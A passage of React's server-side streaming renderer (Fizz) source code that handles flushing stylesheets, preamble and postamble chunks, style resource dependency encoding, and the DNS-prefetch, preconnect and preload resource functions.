hrefs. Instead of marking it flushed, we simply reset the chunks\n    // and hrefs\n    rules.length = 0;\n    hrefs.length = 0;\n  }\n}\n\nfunction hasStylesToHoist(stylesheet: StylesheetResource): boolean {\n  // We need to reveal boundaries with styles whenever a stylesheet it depends on is either\n  // not flushed or flushed after the preamble (shell).\n  if (stylesheet.state !== PREAMBLE) {\n    currentlyRenderingBoundaryHasStylesToHoist = true;\n    return true;\n  }\n  return false;\n}\n\nexport function writeHoistablesForBoundary(\n  destination: Destination,\n  hoistableState: HoistableState,\n  renderState: RenderState,\n): boolean {\n  // Reset these on each invocation, they are only safe to read in this function\n  currentlyRenderingBoundaryHasStylesToHoist = false;\n  destinationHasCapacity = true;\n\n  // Flush style tags for each precedence this boundary depends on\n  currentlyFlushingRenderState = renderState;\n  hoistableState.styles.forEach(flushStyleTagsLateForBoundary, destination);\n  currentlyFlushingRenderState = null;\n\n  // Determine if this boundary has stylesheets that need to be awaited upon completion\n  hoistableState.stylesheets.forEach(hasStylesToHoist);\n\n  // We don't actually want to flush any hoistables until the boundary is complete so we omit\n  // any further writing here. This is because unlike Resources, Hoistable Elements act more like\n  // regular elements, each rendered element has a unique representation in the DOM. We don't want\n  // these elements to appear in the DOM early, before the boundary has actually completed\n\n  if (currentlyRenderingBoundaryHasStylesToHoist) {\n    renderState.stylesToHoist = true;\n  }\n  return destinationHasCapacity;\n}\n\nfunction flushResource(this: Destination, resource: Resource) {\n  for (let i = 0; i < resource.length; i++) {\n    writeChunk(this, resource[i]);\n  }\n  resource.length = 0;\n}\n\nconst stylesheetFlushingQueue: Array<Chunk | PrecomputedChunk> = [];\n\nfunction flushStyleInPreamble(\n  this: Destination,\n  stylesheet: StylesheetResource,\n  key: string,\n  map: Map<string, StylesheetResource>,\n) {\n  // We still need to encode stylesheet chunks\n  // because unlike most Hoistables and Resources we do not eagerly encode\n  // them during render. This is because if we flush late we have to send a\n  // different encoding and we don't want to encode multiple times\n  pushLinkImpl(stylesheetFlushingQueue, stylesheet.props);\n  for (let i = 0; i < stylesheetFlushingQueue.length; i++) {\n    writeChunk(this, stylesheetFlushingQueue[i]);\n  }\n  stylesheetFlushingQueue.length = 0;\n  stylesheet.state = PREAMBLE;\n}\n\nconst styleTagResourceOpen1 = stringToPrecomputedChunk(' data-precedence=\"');\nconst styleTagResourceOpen2 = stringToPrecomputedChunk('\" data-href=\"');\nconst spaceSeparator = stringToPrecomputedChunk(' ');\nconst styleTagResourceOpen3 = stringToPrecomputedChunk('\">');\n\nconst styleTagResourceClose = stringToPrecomputedChunk('</style>');\n\nfunction flushStylesInPreamble(\n  this: Destination,\n  styleQueue: StyleQueue,\n  precedence: string,\n) {\n  const hasStylesheets = styleQueue.sheets.size > 0;\n  styleQueue.sheets.forEach(flushStyleInPreamble, this);\n  styleQueue.sheets.clear();\n\n  const rules = styleQueue.rules;\n  const hrefs = styleQueue.hrefs;\n  // If we don't emit any stylesheets at this precedence we still need to maintain the precedence\n  // order so even if there are no rules for style tags at this precedence we emit an empty style\n  // tag with the data-precedence attribute\n  if (!hasStylesheets || hrefs.length) {\n    writeChunk(\n      this,\n      ((currentlyFlushingRenderState: any): RenderState).startInlineStyle,\n    );\n    writeChunk(this, styleTagResourceOpen1);\n    writeChunk(this, styleQueue.precedence);\n    let i = 0;\n    if (hrefs.length) {\n      writeChunk(this, styleTagResourceOpen2);\n      for (; i < hrefs.length - 1; i++) {\n        writeChunk(this, hrefs[i]);\n        writeChunk(this, spaceSeparator);\n      }\n      writeChunk(this, hrefs[i]);\n    }\n    writeChunk(this, styleTagResourceOpen3);\n    for (i = 0; i < rules.length; i++) {\n      writeChunk(this, rules[i]);\n    }\n    writeChunk(this, styleTagResourceClose);\n\n    // style resources can flush continuously since more rules may be written into\n    // them with new hrefs. Instead of marking it flushed, we simply reset the chunks\n    // and hrefs\n    rules.length = 0;\n    hrefs.length = 0;\n  }\n}\n\nfunction preloadLateStyle(this: Destination, stylesheet: StylesheetResource) {\n  if (stylesheet.state === PENDING) {\n    stylesheet.state = PRELOADED;\n    const preloadProps = preloadAsStylePropsFromProps(\n      stylesheet.props.href,\n      stylesheet.props,\n    );\n    pushLinkImpl(stylesheetFlushingQueue, preloadProps);\n    for (let i = 0; i < stylesheetFlushingQueue.length; i++) {\n      writeChunk(this, stylesheetFlushingQueue[i]);\n    }\n    stylesheetFlushingQueue.length = 0;\n  }\n}\n\nfunction preloadLateStyles(this: Destination, styleQueue: StyleQueue) {\n  styleQueue.sheets.forEach(preloadLateStyle, this);\n  styleQueue.sheets.clear();\n}\n\nconst blockingRenderChunkStart = stringToPrecomputedChunk(\n  '<link rel=\"expect\" href=\"#',\n);\nconst blockingRenderChunkEnd = stringToPrecomputedChunk(\n  '\" blocking=\"render\"/>',\n);\n\nfunction writeBlockingRenderInstruction(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n): void {\n  if (enableFizzBlockingRender) {\n    const idPrefix = resumableState.idPrefix;\n    const shellId = '_' + idPrefix + 'R_';\n    writeChunk(destination, blockingRenderChunkStart);\n    writeChunk(destination, stringToChunk(escapeTextForBrowser(shellId)));\n    writeChunk(destination, blockingRenderChunkEnd);\n  }\n}\n\nconst completedShellIdAttributeStart = stringToPrecomputedChunk(' id=\"');\n\nfunction writeCompletedShellIdAttribute(\n  destination: Destination,\n  resumableState: ResumableState,\n): void {\n  if ((resumableState.instructions & SentCompletedShellId) !== NothingSent) {\n    return;\n  }\n  resumableState.instructions |= SentCompletedShellId;\n  const idPrefix = resumableState.idPrefix;\n  const shellId = '_' + idPrefix + 'R_';\n  writeChunk(destination, completedShellIdAttributeStart);\n  writeChunk(destination, stringToChunk(escapeTextForBrowser(shellId)));\n  writeChunk(destination, attributeEnd);\n}\n\nfunction pushCompletedShellIdAttribute(\n  target: Array<Chunk | PrecomputedChunk>,\n  resumableState: ResumableState,\n): void {\n  if ((resumableState.instructions & SentCompletedShellId) !== NothingSent) {\n    return;\n  }\n  resumableState.instructions |= SentCompletedShellId;\n  const idPrefix = resumableState.idPrefix;\n  const shellId = '_' + idPrefix + 'R_';\n  target.push(\n    completedShellIdAttributeStart,\n    stringToChunk(escapeTextForBrowser(shellId)),\n    attributeEnd,\n  );\n}\n\n// We don't bother reporting backpressure at the moment because we expect to\n// flush the entire preamble in a single pass. This probably should be modified\n// in the future to be backpressure sensitive but that requires a larger refactor\n// of the flushing code in Fizz.\nexport function writePreambleStart(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  skipBlockingShell: boolean,\n): void {\n  // This function must be called exactly once on every request\n  if (enableFizzExternalRuntime && renderState.externalRuntimeScript) {\n    // If the root segment is incomplete due to suspended tasks\n    // (e.g. willFlushAllSegments = false) and we are using data\n    // streaming format, ensure the external runtime is sent.\n    // (User code could choose to send this even earlier by calling\n    //  preinit(...), if they know they will suspend).\n    const {src, chunks} = renderState.externalRuntimeScript;\n    internalPreinitScript(resumableState, renderState, src, chunks);\n  }\n\n  const preamble = renderState.preamble;\n\n  const htmlChunks = preamble.htmlChunks;\n  const headChunks = preamble.headChunks;\n\n  let i = 0;\n\n  // Emit open tags before Hoistables and Resources\n  if (htmlChunks) {\n    // We have an <html> to emit as part of the preamble\n    for (i = 0; i < htmlChunks.length; i++) {\n      writeChunk(destination, htmlChunks[i]);\n    }\n    if (headChunks) {\n      for (i = 0; i < headChunks.length; i++) {\n        writeChunk(destination, headChunks[i]);\n      }\n    } else {\n      // We did not render a head but we emitted an <html> so we emit one now\n      writeChunk(destination, startChunkForTag('head'));\n      writeChunk(destination, endOfStartTag);\n    }\n  } else if (headChunks) {\n    // We do not have an <html> but we do have a <head>\n    for (i = 0; i < headChunks.length; i++) {\n      writeChunk(destination, headChunks[i]);\n    }\n  }\n\n  // Emit high priority Hoistables\n  const charsetChunks = renderState.charsetChunks;\n  for (i = 0; i < charsetChunks.length; i++) {\n    writeChunk(destination, charsetChunks[i]);\n  }\n  charsetChunks.length = 0;\n\n  // emit preconnect resources\n  renderState.preconnects.forEach(flushResource, destination);\n  renderState.preconnects.clear();\n\n  const viewportChunks = renderState.viewportChunks;\n  for (i = 0; i < viewportChunks.length; i++) {\n    writeChunk(destination, viewportChunks[i]);\n  }\n  viewportChunks.length = 0;\n\n  renderState.fontPreloads.forEach(flushResource, destination);\n  renderState.fontPreloads.clear();\n\n  renderState.highImagePreloads.forEach(flushResource, destination);\n  renderState.highImagePreloads.clear();\n\n  // Flush unblocked stylesheets by precedence\n  currentlyFlushingRenderState = renderState;\n  renderState.styles.forEach(flushStylesInPreamble, destination);\n  currentlyFlushingRenderState = null;\n\n  const importMapChunks = renderState.importMapChunks;\n  for (i = 0; i < importMapChunks.length; i++) {\n    writeChunk(destination, importMapChunks[i]);\n  }\n  importMapChunks.length = 0;\n\n  renderState.bootstrapScripts.forEach(flushResource, destination);\n\n  renderState.scripts.forEach(flushResource, destination);\n  renderState.scripts.clear();\n\n  renderState.bulkPreloads.forEach(flushResource, destination);\n  renderState.bulkPreloads.clear();\n\n  if ((htmlChunks || headChunks) && !skipBlockingShell) {\n    // If we have any html or head chunks we know that we're rendering a full document.\n    // A full document should block display until the full shell has downloaded.\n    // Therefore we insert a render blocking instruction referring to the last body\n    // element that's considered part of the shell. We do this after the important loads\n    // have already been emitted so we don't do anything to delay them but early so that\n    // the browser doesn't risk painting too early.\n    writeBlockingRenderInstruction(destination, resumableState, renderState);\n  } else {\n    // We don't need to add the shell id so mark it as if sent.\n    // Currently it might still be sent if it was already added to a bootstrap script.\n    resumableState.instructions |= SentCompletedShellId;\n  }\n\n  // Write embedding hoistableChunks\n  const hoistableChunks = renderState.hoistableChunks;\n  for (i = 0; i < hoistableChunks.length; i++) {\n    writeChunk(destination, hoistableChunks[i]);\n  }\n  hoistableChunks.length = 0;\n}\n\n// We don't bother reporting backpressure at the moment because we expect to\n// flush the entire preamble in a single pass. This probably should be modified\n// in the future to be backpressure sensitive but that requires a larger refactor\n// of the flushing code in Fizz.\nexport function writePreambleEnd(\n  destination: Destination,\n  renderState: RenderState,\n): void {\n  const preamble = renderState.preamble;\n  const htmlChunks = preamble.htmlChunks;\n  const headChunks = preamble.headChunks;\n  if (htmlChunks || headChunks) {\n    // we have an <html> but we inserted an implicit <head> tag. We need\n    // to close it since the main content won't have it\n    writeChunk(destination, endChunkForTag('head'));\n  }\n\n  const bodyChunks = preamble.bodyChunks;\n  if (bodyChunks) {\n    for (let i = 0; i < bodyChunks.length; i++) {\n      writeChunk(destination, bodyChunks[i]);\n    }\n  }\n}\n\n// We don't bother reporting backpressure at the moment because we expect to\n// flush the entire preamble in a single pass. This probably should be modified\n// in the future to be backpressure sensitive but that requires a larger refactor\n// of the flushing code in Fizz.\nexport function writeHoistables(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n): void {\n  let i = 0;\n\n  // Emit high priority Hoistables\n\n  // We omit charsetChunks because we have already sent the shell and if it wasn't\n  // already sent it is too late now.\n\n  const viewportChunks = renderState.viewportChunks;\n  for (i = 0; i < viewportChunks.length; i++) {\n    writeChunk(destination, viewportChunks[i]);\n  }\n  viewportChunks.length = 0;\n\n  renderState.preconnects.forEach(flushResource, destination);\n  renderState.preconnects.clear();\n\n  renderState.fontPreloads.forEach(flushResource, destination);\n  renderState.fontPreloads.clear();\n\n  renderState.highImagePreloads.forEach(flushResource, destination);\n  renderState.highImagePreloads.clear();\n\n  // Preload any stylesheets. these will emit in a render instruction that follows this\n  // but we want to kick off preloading as soon as possible\n  renderState.styles.forEach(preloadLateStyles, destination);\n\n  // We only hoist importmaps that are configured through createResponse and that will\n  // always flush in the preamble. Generally we don't expect people to render them as\n  // tags when using React but if you do they are going to be treated like regular inline\n  // scripts and flush after other hoistables which is problematic\n\n  // bootstrap scripts should flush above script priority but these can only flush in the preamble\n  // so we elide the code here for performance\n\n  renderState.scripts.forEach(flushResource, destination);\n  renderState.scripts.clear();\n\n  renderState.bulkPreloads.forEach(flushResource, destination);\n  renderState.bulkPreloads.clear();\n\n  // Write embedding hoistableChunks\n  const hoistableChunks = renderState.hoistableChunks;\n  for (i = 0; i < hoistableChunks.length; i++) {\n    writeChunk(destination, hoistableChunks[i]);\n  }\n  hoistableChunks.length = 0;\n}\n\nexport function writePostamble(\n  destination: Destination,\n  resumableState: ResumableState,\n): void {\n  if (resumableState.hasBody) {\n    writeChunk(destination, endChunkForTag('body'));\n  }\n  if (resumableState.hasHtml) {\n    writeChunk(destination, endChunkForTag('html'));\n  }\n}\n\nconst arrayFirstOpenBracket = stringToPrecomputedChunk('[');\nconst arraySubsequentOpenBracket = stringToPrecomputedChunk(',[');\nconst arrayInterstitial = stringToPrecomputedChunk(',');\nconst arrayCloseBracket = stringToPrecomputedChunk(']');\n\n// This function writes a 2D array of strings to be embedded in javascript.\n// E.g.\n//  [[\"JS_escaped_string1\", \"JS_escaped_string2\"]]\nfunction writeStyleResourceDependenciesInJS(\n  destination: Destination,\n  hoistableState: HoistableState,\n): void {\n  writeChunk(destination, arrayFirstOpenBracket);\n\n  let nextArrayOpenBrackChunk = arrayFirstOpenBracket;\n  hoistableState.stylesheets.forEach(resource => {\n    if (resource.state === PREAMBLE) {\n      // We can elide this dependency because it was flushed in the shell and\n      // should be ready before content is shown on the client\n    } else if (resource.state === LATE) {\n      // We only need to emit the href because this resource flushed in an earlier\n      // boundary already which encoded the attributes necessary to construct\n      // the resource instance on the client.\n      writeChunk(destination, nextArrayOpenBrackChunk);\n      writeStyleResourceDependencyHrefOnlyInJS(\n        destination,\n        resource.props.href,\n      );\n      writeChunk(destination, arrayCloseBracket);\n      nextArrayOpenBrackChunk = arraySubsequentOpenBracket;\n    } else {\n      // We need to emit the whole resource for insertion on the client\n      writeChunk(destination, nextArrayOpenBrackChunk);\n      writeStyleResourceDependencyInJS(\n        destination,\n        resource.props.href,\n        resource.props['data-precedence'],\n        resource.props,\n      );\n      writeChunk(destination, arrayCloseBracket);\n      nextArrayOpenBrackChunk = arraySubsequentOpenBracket;\n\n      resource.state = LATE;\n    }\n  });\n  writeChunk(destination, arrayCloseBracket);\n}\n\n/* Helper functions */\nfunction writeStyleResourceDependencyHrefOnlyInJS(\n  destination: Destination,\n  href: string,\n) {\n  // We should actually enforce this earlier when the resource is created but for\n  // now we make sure we are actually dealing with a string here.\n  if (__DEV__) {\n    checkAttributeStringCoercion(href, 'href');\n  }\n  const coercedHref = '' + (href: any);\n  writeChunk(\n    destination,\n    stringToChunk(escapeJSObjectForInstructionScripts(coercedHref)),\n  );\n}\n\nfunction writeStyleResourceDependencyInJS(\n  destination: Destination,\n  href: mixed,\n  precedence: mixed,\n  props: Object,\n) {\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  const coercedHref = sanitizeURL('' + (href: any));\n  writeChunk(\n    destination,\n    stringToChunk(escapeJSObjectForInstructionScripts(coercedHref)),\n  );\n\n  if (__DEV__) {\n    checkAttributeStringCoercion(precedence, 'precedence');\n  }\n  const coercedPrecedence = '' + (precedence: any);\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeJSObjectForInstructionScripts(coercedPrecedence)),\n  );\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'href':\n        case 'rel':\n        case 'precedence':\n        case 'data-precedence': {\n          break;\n        }\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            `${'link'} is a self-closing tag and must neither have \\`children\\` nor ` +\n              'use `dangerouslySetInnerHTML`.',\n          );\n        default:\n          writeStyleResourceAttributeInJS(destination, propKey, propValue);\n          break;\n      }\n    }\n  }\n  return null;\n}\n\nfunction writeStyleResourceAttributeInJS(\n  destination: Destination,\n  name: string,\n  value: string | boolean | number | Function | Object, // not null or undefined\n): void {\n  let attributeName = name.toLowerCase();\n  let attributeValue;\n  switch (typeof value) {\n    case 'function':\n    case 'symbol':\n      return;\n  }\n\n  switch (name) {\n    // Reserved names\n    case 'innerHTML':\n    case 'dangerouslySetInnerHTML':\n    case 'suppressContentEditableWarning':\n    case 'suppressHydrationWarning':\n    case 'style':\n    case 'ref':\n      // Ignored\n      return;\n\n    // Attribute renames\n    case 'className': {\n      attributeName = 'class';\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n      break;\n    }\n    // Booleans\n    case 'hidden': {\n      if (value === false) {\n        return;\n      }\n      attributeValue = '';\n      break;\n    }\n    // Santized URLs\n    case 'src':\n    case 'href': {\n      value = sanitizeURL(value);\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n      break;\n    }\n    default: {\n      if (\n        // unrecognized event handlers are not SSR'd and we (apparently)\n        // use on* as hueristic for these handler props\n        name.length > 2 &&\n        (name[0] === 'o' || name[0] === 'O') &&\n        (name[1] === 'n' || name[1] === 'N')\n      ) {\n        return;\n      }\n      if (!isAttributeNameSafe(name)) {\n        return;\n      }\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n    }\n  }\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeJSObjectForInstructionScripts(attributeName)),\n  );\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeJSObjectForInstructionScripts(attributeValue)),\n  );\n}\n\n// This function writes a 2D array of strings to be embedded in an attribute\n// value and read with JSON.parse in ReactDOMServerExternalRuntime.js\n// E.g.\n//  [[&quot;JSON_escaped_string1&quot;, &quot;JSON_escaped_string2&quot;]]\nfunction writeStyleResourceDependenciesInAttr(\n  destination: Destination,\n  hoistableState: HoistableState,\n): void {\n  writeChunk(destination, arrayFirstOpenBracket);\n\n  let nextArrayOpenBrackChunk = arrayFirstOpenBracket;\n  hoistableState.stylesheets.forEach(resource => {\n    if (resource.state === PREAMBLE) {\n      // We can elide this dependency because it was flushed in the shell and\n      // should be ready before content is shown on the client\n    } else if (resource.state === LATE) {\n      // We only need to emit the href because this resource flushed in an earlier\n      // boundary already which encoded the attributes necessary to construct\n      // the resource instance on the client.\n      writeChunk(destination, nextArrayOpenBrackChunk);\n      writeStyleResourceDependencyHrefOnlyInAttr(\n        destination,\n        resource.props.href,\n      );\n      writeChunk(destination, arrayCloseBracket);\n      nextArrayOpenBrackChunk = arraySubsequentOpenBracket;\n    } else {\n      // We need to emit the whole resource for insertion on the client\n      writeChunk(destination, nextArrayOpenBrackChunk);\n      writeStyleResourceDependencyInAttr(\n        destination,\n        resource.props.href,\n        resource.props['data-precedence'],\n        resource.props,\n      );\n      writeChunk(destination, arrayCloseBracket);\n      nextArrayOpenBrackChunk = arraySubsequentOpenBracket;\n\n      resource.state = LATE;\n    }\n  });\n  writeChunk(destination, arrayCloseBracket);\n}\n\n/* Helper functions */\nfunction writeStyleResourceDependencyHrefOnlyInAttr(\n  destination: Destination,\n  href: string,\n) {\n  // We should actually enforce this earlier when the resource is created but for\n  // now we make sure we are actually dealing with a string here.\n  if (__DEV__) {\n    checkAttributeStringCoercion(href, 'href');\n  }\n  const coercedHref = '' + (href: any);\n  writeChunk(\n    destination,\n    stringToChunk(escapeTextForBrowser(JSON.stringify(coercedHref))),\n  );\n}\n\nfunction writeStyleResourceDependencyInAttr(\n  destination: Destination,\n  href: mixed,\n  precedence: mixed,\n  props: Object,\n) {\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  const coercedHref = sanitizeURL('' + (href: any));\n  writeChunk(\n    destination,\n    stringToChunk(escapeTextForBrowser(JSON.stringify(coercedHref))),\n  );\n\n  if (__DEV__) {\n    checkAttributeStringCoercion(precedence, 'precedence');\n  }\n  const coercedPrecedence = '' + (precedence: any);\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeTextForBrowser(JSON.stringify(coercedPrecedence))),\n  );\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'href':\n        case 'rel':\n        case 'precedence':\n        case 'data-precedence': {\n          break;\n        }\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            `${'link'} is a self-closing tag and must neither have \\`children\\` nor ` +\n              'use `dangerouslySetInnerHTML`.',\n          );\n        default:\n          writeStyleResourceAttributeInAttr(destination, propKey, propValue);\n          break;\n      }\n    }\n  }\n  return null;\n}\n\nfunction writeStyleResourceAttributeInAttr(\n  destination: Destination,\n  name: string,\n  value: string | boolean | number | Function | Object, // not null or undefined\n): void {\n  let attributeName = name.toLowerCase();\n  let attributeValue;\n  switch (typeof value) {\n    case 'function':\n    case 'symbol':\n      return;\n  }\n\n  switch (name) {\n    // Reserved names\n    case 'innerHTML':\n    case 'dangerouslySetInnerHTML':\n    case 'suppressContentEditableWarning':\n    case 'suppressHydrationWarning':\n    case 'style':\n    case 'ref':\n      // Ignored\n      return;\n\n    // Attribute renames\n    case 'className': {\n      attributeName = 'class';\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n      break;\n    }\n\n    // Booleans\n    case 'hidden': {\n      if (value === false) {\n        return;\n      }\n      attributeValue = '';\n      break;\n    }\n\n    // Santized URLs\n    case 'src':\n    case 'href': {\n      value = sanitizeURL(value);\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n      break;\n    }\n    default: {\n      if (\n        // unrecognized event handlers are not SSR'd and we (apparently)\n        // use on* as hueristic for these handler props\n        name.length > 2 &&\n        (name[0] === 'o' || name[0] === 'O') &&\n        (name[1] === 'n' || name[1] === 'N')\n      ) {\n        return;\n      }\n      if (!isAttributeNameSafe(name)) {\n        return;\n      }\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, attributeName);\n      }\n      attributeValue = '' + (value: any);\n    }\n  }\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeTextForBrowser(JSON.stringify(attributeName))),\n  );\n  writeChunk(destination, arrayInterstitial);\n  writeChunk(\n    destination,\n    stringToChunk(escapeTextForBrowser(JSON.stringify(attributeValue))),\n  );\n}\n\n/**\n * Resources\n */\n\ntype StylesheetState = 0 | 1 | 2 | 3;\nconst PENDING: StylesheetState = 0;\nconst PRELOADED: StylesheetState = 1;\nconst PREAMBLE: StylesheetState = 2;\nconst LATE: StylesheetState = 3;\n\ntype PreconnectProps = {\n  rel: 'preconnect' | 'dns-prefetch',\n  href: string,\n  [string]: mixed,\n};\n\ntype PreloadAsProps = {\n  rel: 'preload',\n  as: string,\n  href: ?string,\n  [string]: ?string,\n};\ntype PreloadModuleProps = {\n  rel: 'modulepreload',\n  href: ?string,\n  [string]: ?string,\n};\ntype PreloadProps = PreloadAsProps | PreloadModuleProps;\n\ntype ScriptProps = {\n  async: true,\n  src: string,\n  crossOrigin?: ?CrossOriginEnum,\n  [string]: mixed,\n};\ntype ModuleScriptProps = {\n  async: true,\n  src: string,\n  type: 'module',\n  crossOrigin?: ?CrossOriginEnum,\n  [string]: mixed,\n};\n\nexport type Resource = Array<Chunk | PrecomputedChunk>;\n\ntype StylesheetProps = {\n  rel: 'stylesheet',\n  href: string,\n  'data-precedence': string,\n  crossOrigin?: ?CrossOriginEnum,\n  integrity?: ?string,\n  nonce?: ?string,\n  type?: ?string,\n  fetchPriority?: ?string,\n  referrerPolicy?: ?string,\n  media?: ?string,\n  [string]: mixed,\n};\ntype StylesheetResource = {\n  props: StylesheetProps,\n  state: StylesheetState,\n};\n\nexport type HoistableState = {\n  styles: Set<StyleQueue>,\n  stylesheets: Set<StylesheetResource>,\n  suspenseyImages: boolean,\n};\n\nexport type StyleQueue = {\n  precedence: Chunk | PrecomputedChunk,\n  rules: Array<Chunk | PrecomputedChunk>,\n  hrefs: Array<Chunk | PrecomputedChunk>,\n  sheets: Map<string, StylesheetResource>,\n};\n\nexport function createHoistableState(): HoistableState {\n  return {\n    styles: new Set(),\n    stylesheets: new Set(),\n    suspenseyImages: false,\n  };\n}\n\nfunction getResourceKey(href: string): string {\n  return href;\n}\n\nfunction getImageResourceKey(\n  href: string,\n  imageSrcSet?: ?string,\n  imageSizes?: ?string,\n): string {\n  if (imageSrcSet) {\n    return imageSrcSet + '\\n' + (imageSizes || '');\n  }\n  return href;\n}\n\nfunction prefetchDNS(href: string) {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.D(/* prefetchDNS */ href);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n\n  if (typeof href === 'string' && href) {\n    const key = getResourceKey(href);\n    if (!resumableState.dnsResources.hasOwnProperty(key)) {\n      resumableState.dnsResources[key] = EXISTS;\n\n      const headers = renderState.headers;\n      let header;\n      if (\n        headers &&\n        headers.remainingCapacity > 0 &&\n        // Compute the header since we might be able to fit it in the max length\n        ((header = getPrefetchDNSAsHeader(href)),\n        // We always consume the header length since once we find one header that doesn't fit\n        // we assume all the rest won't as well. This is to avoid getting into a situation\n        // where we have a very small remaining capacity but no headers will ever fit and we end\n        // up constantly trying to see if the next resource might make it. In the future we can\n        // make this behavior different between render and prerender since in the latter case\n        // we are less sensitive to the current requests runtime per and more sensitive to maximizing\n        // headers.\n        (headers.remainingCapacity -= header.length + 2) >= 0)\n      ) {\n        // Store this as resettable in case we are prerendering and postpone in the Shell\n        renderState.resets.dns[key] = EXISTS;\n        if (headers.preconnects) {\n          headers.preconnects += ', ';\n        }\n        // $FlowFixMe[unsafe-addition]: we assign header during the if condition\n        headers.preconnects += header;\n      } else {\n        // Encode as element\n        const resource: Resource = [];\n        pushLinkImpl(resource, ({href, rel: 'dns-prefetch'}: PreconnectProps));\n        renderState.preconnects.add(resource);\n      }\n    }\n    flushResources(request);\n  }\n}\n\nfunction preconnect(href: string, crossOrigin: ?CrossOriginEnum) {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.C(/* preconnect */ href, crossOrigin);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n\n  if (typeof href === 'string' && href) {\n    const bucket =\n      crossOrigin === 'use-credentials'\n        ? 'credentials'\n        : typeof crossOrigin === 'string'\n          ? 'anonymous'\n          : 'default';\n    const key = getResourceKey(href);\n    if (!resumableState.connectResources[bucket].hasOwnProperty(key)) {\n      resumableState.connectResources[bucket][key] = EXISTS;\n\n      const headers = renderState.headers;\n      let header;\n      if (\n        headers &&\n        headers.remainingCapacity > 0 &&\n        // Compute the header since we might be able to fit it in the max length\n        ((header = getPreconnectAsHeader(href, crossOrigin)),\n        // We always consume the header length since once we find one header that doesn't fit\n        // we assume all the rest won't as well. This is to avoid getting into a situation\n        // where we have a very small remaining capacity but no headers will ever fit and we end\n        // up constantly trying to see if the next resource might make it. In the future we can\n        // make this behavior different between render and prerender since in the latter case\n        // we are less sensitive to the current requests runtime per and more sensitive to maximizing\n        // headers.\n        (headers.remainingCapacity -= header.length + 2) >= 0)\n      ) {\n        // Store this in resettableState in case we are prerending and postpone in the Shell\n        renderState.resets.connect[bucket][key] = EXISTS;\n        if (headers.preconnects) {\n          headers.preconnects += ', ';\n        }\n        // $FlowFixMe[unsafe-addition]: we assign header during the if condition\n        headers.preconnects += header;\n      } else {\n        const resource: Resource = [];\n        pushLinkImpl(\n          resource,\n          ({rel: 'preconnect', href, crossOrigin}: PreconnectProps),\n        );\n        renderState.preconnects.add(resource);\n      }\n    }\n    flushResources(request);\n  }\n}\n\nfunction preload(href: string, as: string, options?: ?PreloadImplOptions) {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.L(/* preload */ href, as, options);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n  if (as && href) {\n    switch (as) {\n      case 'image': {\n        let imageSrcSet, imageSizes, fetchPriority;\n        if (options) {\n          imageSrcSet = options.imageSrcSet;\n          imageSizes = options.imageSizes;\n          fetchPriority = options.fetchPriority;\n        }\n        const key = getImageResourceKey(href, imageSrcSet, imageSizes);\n        if (resumableState.imageResources.hasOwnProperty(key)) {\n          // we can return if we already have this resource\n          return;\n        }\n        resumableState.imageResources[key] = PRELOAD_NO_CREDS;\n\n        const headers = renderState.headers;\n        let header: string;\n        if (\n          headers &&\n          headers.remainingCapacity > 0 &&\n          // browsers today don't support preloading responsive images from link headers so we bail out\n          // if the img has srcset defined\n          typeof imageSrcSet !== 'string' &&\n          // We only include high priority images in the link header\n          fetchPriority === 'high' &&\n          // Compute the header since we might be able to fit it in the max length\n          ((header = getPreloadAsHeader(href, as, options)),\n          // We always consume the header length since once we find one 